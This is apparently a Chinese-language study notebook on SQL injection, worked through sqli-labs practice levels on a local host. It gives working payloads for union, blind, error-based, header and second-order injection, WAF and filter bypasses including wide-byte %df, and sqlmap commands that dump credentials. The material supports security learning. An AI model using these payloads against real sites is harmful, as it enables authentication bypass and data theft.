0%

SQL注入学习笔记

开始web学习

基础知识

在MySQL 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有schemata(数据库名)、tables(表名)、columns(列名或字段名)。

在schemata表中,schema_name字段用来存储数据库名。

在tables表中,table_schema和table_name分别用来存储数据库名和表名。

在columns表中,tanle_schema(数据库名)、table_name(表名)、column_name(字段名)

注释

注释符:在MySQL中常见的注释符表达式:#,—空格,/**/

内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用于绕过WAF

1
2
3
4
# 例:
select * from user where id = id;
# 使用内联注释注入:
select * from user where id = -1 /*!union*/ /*!select*/ 1,2,3,4

SQL注入原理

一般用户登陆所用的SQL语句为:SELECT * FROM user WHERE username= 'admin' and password='passwd',若对用户输入的用户名和密码无处理,则可构造万能密码绕过验证‘ or 1 #,SQL语句就变为:SELECT * FROM user WHERE username= '' or 1 # and password=' ',#号后注释。

SQL注入分类及判断

  1. 数据类型
    • 数字型
    • 字符型
    • 搜索型
  2. 提交方式
    • GET型
    • POST型
    • Cookie型
    • HTTP请求头注入
  3. 执行效果
    • 报错注入
    • 联合查询注入
    • 堆叠查询注入
    • 盲注
      • 基于bool
      • 基于时间

数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'

在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0’or 1#,查到数据说明是字符型注入,方法不唯一。

联合查询注入

使用联合查询时,必须使得两张表的表结构一致
构造联合注入语句:1' order by 1# or 1' order by 2#
构造联合查询语句:'union select 1,2#
以上构造可查询表的列数

盲注

Blind SQL是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是应为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题

当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。盲注与常规注入很接近,不同的是数据库返回数据的检索方式。若书库没有输出数据到web页面,攻击者会询问一系列的true或false问题,强制从数据库获取数据

基于bool的盲注

通常使用函数length(),返回长度;ascii(),返回ASCII值;substr(string,a,b),返回string以a开头,长度为b的字符串;count(),返回数量。

在存在注入的注入点参数后使用if判断正确或错误的语句

1
2
3
4
5
6
select length(database());
select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;

基于时间的盲注

除了需使用以上函数之外,一般还使用延时函数sleep(),if(c,a,b)等等。

在存在注入的注入点参数后使用if(length(database())>5,sleep(5),null),如果执行的页面响应时间大于5秒,那么存在注入,并且对相应的SQL语句执行。

报错注入

报错注入形式上是两个嵌套的查询,即select…(select…),里面的select被称为子查询,他执行的顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

  • rand()随机函数,返回0~1之间的某个值
  • floor(a)取整函数,返回小于等于a,且最接近a的一个整数
  • count()聚合函数,也成计数函数,返回查询对象的总数
  • group by clause分组函数,按照查询结果分组

通过报错来显示具体的信息

查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果续表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中 floor(rand(0)*2)的值是定值,为011011

select count(*) from table group by floor(rand(0)*2);

例:sqli Less5

获取数据库

http://127.0.0.1/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

获取表名

http://127.0.0.1/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(group_concat(table_name),0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

获取用户信息

http://127.0.0.1/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

SQL注入绕过

大小写绕过

如果出现中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤

可以通过修改关键字内字母大小写来绕过过滤措施。例:AnD 1=1

双写绕过

如果在程序设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换,就是将关键字替换为空

例:过滤了union 只要发现union时,无论大小写都会被替换为空

ununionion,UnunionIon

编码绕过

可以利用网路中的url在线编码,绕过SQL注入的过滤机制

内联注释绕过

在Mysql中内联注释中的内容可以被当做SQL语句执行

一般步骤

  1. 判断是否存在SQL注入

    1' or 1 --+

  2. 利用order by判断字段数

    1' order by 1 --+1' order by 2 --+

  3. 利用union select联合查询,获取表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

  4. 利用union select联合查询,获取字段名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

sqlmap:

  1. sqlmap -u “http://www.xx.com?id=x“ (查询是否存在注入点)

  2. —dbs(检测站点包含哪些数据库)

  3. —current-db(获取当前的数据库名)

  4. -D “db_name” —tables(获取指定数据库中的表名 -D后接指定的数据库名称)

  5. -D “db_name” -T “table_name” —columns(获取数据库表中的字段)

  6. -D “db_name” -T “table_name” -C “columns_name” —dump (获取字段的数据内容)

HTTP头中的SQL注入

HTTP头中的注入介绍

在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如在SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。

但是对于HTTP头中提交的内容很有可能就没有进行过滤。例如HTTP头中 User-Agent、Referer、Cookies等。

HTTP User-Agent注入

sqli Less18

源文档语句

1
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

payload:
updatexml(xml document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

绕过去除特定字符的SQL注入

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

去除注释符

代码示例:

1
2
3
4
5
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

绕过策略:

利用or '1' = '1闭合后面的单引号

1
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1,database(),'3

去除and和or

代码示例:

1
2
$id = preg_replace('/or/', "", $id);
$id = preg_replace('/and/', "", $id);

绕过策略:

  1. 大小写变形,代码中大小写不敏感,都会被剔除
  2. 在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过oorr
  3. 利用符号替代:and—&&,or—||

去除空格

代码示例:

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

绕过策略:

编码:hex,urlencode

空格URL编码 %20、%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)

宽字节注入

基础

GBK编码占用两字节
ASCII编码占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MySQL默认字符集是GBK等宽字节字符集。

%DF’:会被PHP当中的addslashes函数转义成为“%DF\\’”,“\\”既URL里的“%5C”,那么也就是说,“%DF”会被转成“%DF%5C%27”,若网站的字符集是GBK,MySQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。

代码分析:

1
2
3
4
5
6
7
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

mysql_query("SET NAMES gbk");

sqli Less33

payload: id=%df' --+

sqlmap: sqlmap -u "url?id=1%df%27" --search --level 3 --risk 1

扩展

最长是通的宽字节注入是利用%df,其实只要第一个ascii吗大于128就可以了,比如ascii吗为129的,将129(十进制)转换为十六进制,为0x81,然后在十六进制前加%即可,即为%81

GBK首字节对应0x81-0xFE,尾字节对应0x40-0xFE(除0x7F)

代码分析:

1
2
3
4
5
6
7
8
9
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}

mysql_query("SET NAMES gbk");

sqli Less32

payload: id=%bf' --+

sqlmap: sqlmap -u "url?id=1" --tamper=unmagicquotes.py

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

sqli Less24

1
2
3
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

通过部分源代码得知,此处使用了mysql_real_escape_string进行转义,无法SQL注入

1
2
3
注册
Username:admin' -- -
Password:123

然后登录发现可以更改密码,因为更改密码的操作是

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

假设更改的密码是123456

此处执行的SQL语句为

$sql = "UPDATE users SET PASSWORD='123456' where username='admin' -- ' and password='$curr_pass' ";

即将admin的密码进行了更改

MySQL注入常用函数

函数名称 函数功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量········
concat() 没有分隔符的连接字符串
concat_ws() 含有分隔符的连接字符串
group_concat 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件
into outfile 写文件
ascii() 字符串的ASCII代码值
ord() 返回字符串第一个字符的ACSCII值
mid() 返回一个字符串的一部分
substr() 返回一个字符串的一部分
length() 返回字符串的长度
left() 返回字符串的最左边几个字符
floor 返回小于或等于x的最大整数
rand 返回0和1之间的随机数
extractvalue() 第一个参数:XML document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath string(Xpath格式的字符串) 作用:从目标XML中返回包含所查询值的字符串
updatexml() 第一个参数:XML document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath string(Xpath格式的字符串) 第三个参数:new value String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值
sleep() 让此语句运行N秒钟
if() SELECT IF(1>2.2.3) -> 3 类似三目运算
char() 返回整数ASCII代码字符组成的字符串
STRCMP() 比较字符串内容
IFNULL() 假如参数1不为NUL,则返回值为参数1,否则其返回值为参数2
exp() 返回e的x次方